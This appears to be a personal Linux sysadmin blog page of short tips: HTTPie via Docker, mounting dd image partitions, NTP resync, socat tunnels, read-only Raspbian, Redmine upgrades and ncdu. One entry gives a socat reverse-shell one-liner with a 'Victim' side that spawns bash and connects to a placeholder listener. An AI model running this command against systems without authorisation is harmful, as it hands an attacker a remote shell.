When a title says all that you have to say, the best is paste the link of the tool and just attach a screenshot: nethogs.
I imagine you are used to using curl for many command line scripts, tests, and much more things. I did the same but some weeks ago I discovered HTTPie which is the best substitute that I’ve ever found for curl. Of course, it’s also available for a lot of Linux distributions, Windows, and Mac. But I used it with docker which is much more transparent for the operative system and easy to update. To be more precise I use next alias trick for using this tool:
alias http='sudo docker run -it --rm --net=host clue/httpie'
Official website: httpie.org
Let me paste some highlights about HTTPie:
- Sensible defaults
- Expressive and intuitive command syntax
- Colorized and formatted terminal output
- Built-in JSON support
- Persistent sessions
- Forms and file uploads
- HTTPS, proxies, and authentication support
- Support for arbitrary request data and headers
- Wget-like downloads
- Linux, macOS, and Windows support
From the tool webpage a nice comparison about how HTTPie looks like versus curl.
When we have a file with a ‘dd’ of a full disk and we want to mount a partition of that disk, we have to use an offset for jumping to the beginning of the partition that we want to mount.
Using ‘fdisk’ command we can find the partitions of that disk copied inside a file.
fdisk -l FILE_WITH_DISK_INSIDE
Once partition table is shown there is a column called ‘Start’ using the corresponding number in this column for the partition that we want we can obtain the offset required for our mounting point. Reasoning behind that is multiply start sector per number of bytes per sector.
# OFFSET = START * 512
mount -o ro,loop,offset=OFFSET FILE_WITH_DISK_INSIDE /mnt
I hope thanks to this technical note next time that I forget how to get the offset I find it fastly.
If you don’t want to do that manually, there is a small tool called losetup which maps the partitions of a disk image on a file.
# example, attaching partitions to loopback devices
losetup -P /dev/loop0 DISK_IMAGE
# just mount the devices now, they are /dev/loop0pX where X is the number of the partition
# dettach this assignament:
losetup -d /dev/loop0
Synchronise Linux clock when NTP service is running but the clock is not on time:
sudo service ntp stop sudo ntpd -gq sudo service ntp start
Fast reminder and tip for socat, it can work on two devices or more:
# SERVER: socat TCP-LISTEN:4443 TUN:192.168.255.2/24,up # CLIENT: socat TCP:SERVER_IP:4443 TUN:192.168.255.1/24,up
This is another short entry, in this case for recommending a service which we solve typical problem solved using a DNAT. Once we have a service on our laptop, or on a private server and we have to expose that service on the internet for some time or permanently usually we have to go the firewall, or router and create a NAT rule forwarding a port. This is a simple and powerful service which is going to solve that for you.
There is a free account for understanding and testing the service, other plans are available and especially affordable for professional requirements.
I was frogetting to say it’s compatible with Linux, Windows and Mac.
#Listener: socat file:`tty`,raw,echo=0 tcp-listen:12345 #Victim: socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:IP_LISTENER:12345
Two years ago I wrote an article discussing how to set up OpenWRT filesystem configuration for controlling writes in the flash card: Raspberry PI and OpenWRT flash partition proposal and rescue boot support for embedded systems.
This current article is mainly for referencing a very good article about how to work with Raspbian with a read-only filesystem and share a fast and dirty cookbook about how to play with that. First of all the reference to: Protect your Raspberry PI SD card, use Read-Only filesystem.
My cookbook about how to get the essence of that article is simple, locate in your /etc/fstab file the line:
/dev/mmcblk0p2 / ext4 defaults,noatime 0 1
and modify that line with:
/dev/mmcblk0p2 / ext4 defaults,noatime,ro 0 1
After rebooting your system is going to work in read-only mode. I don’t remember if I modified anything else of the booting process but I don’t thing so.
Because sometimes I have to modify anything in the flash card, I added the next two lines in the ~/.bashrc file:
alias rw='sudo mount -o remount,rw / ; sudo mount -o remount,rw /boot' alias ro='sudo mount -o remount,ro / ; sudo mount -o remount,ro /boot'
Now just with the command rw it’s really easy to get the root filesystem in the write mode, and when I finish my updates just typing ro it’s go back to read-only mode.
I hope it’s useful for you.
I use Redmine to track my personal projects, and every time that I have to update I have to re-read the full upgrading page which is long and full of exceptions. So I decided to write my own reduced cookbook to solve that. FYI I’m using Ubuntu 16.04, Apache2, MySQL and Passenger for running Redmine.
Being root user run:
- backup MySQL database
- download new redmine package and unpack in /var/www
- change ‘redmine’ soft link to new folder
- copy old files and directories overwriting the new ones:
config/database.yml config/configuration.yml files/ plugins/
- locating work directory on new redmine folder, run:
bundle install --without development test bundle exec rake generate_secret_token bundle exec rake db:migrate RAILS_ENV=production bundle exec rake redmine:plugins:migrate RAILS_ENV=production bundle exec rake tmp:cache:clear tmp:sessions:clear RAILS_ENV=production
- restart apache server
Some time ago I found a ncurses based tool very small easy and useful to get a very fast and easy way to analyze disk usage in linux. This entry is just to remember the name of that tool because I always forget its name.
Ncdu is a disk usage analyzer with an ncurses interface. It is designed to find space hogs on a remote server where you don’t have an entire graphical setup available, but it is a useful tool even on regular desktop systems. Ncdu aims to be fast, simple and easy to use, and should be able to run in any minimal POSIX-like environment with ncurses installed.
A screenshot is always useful: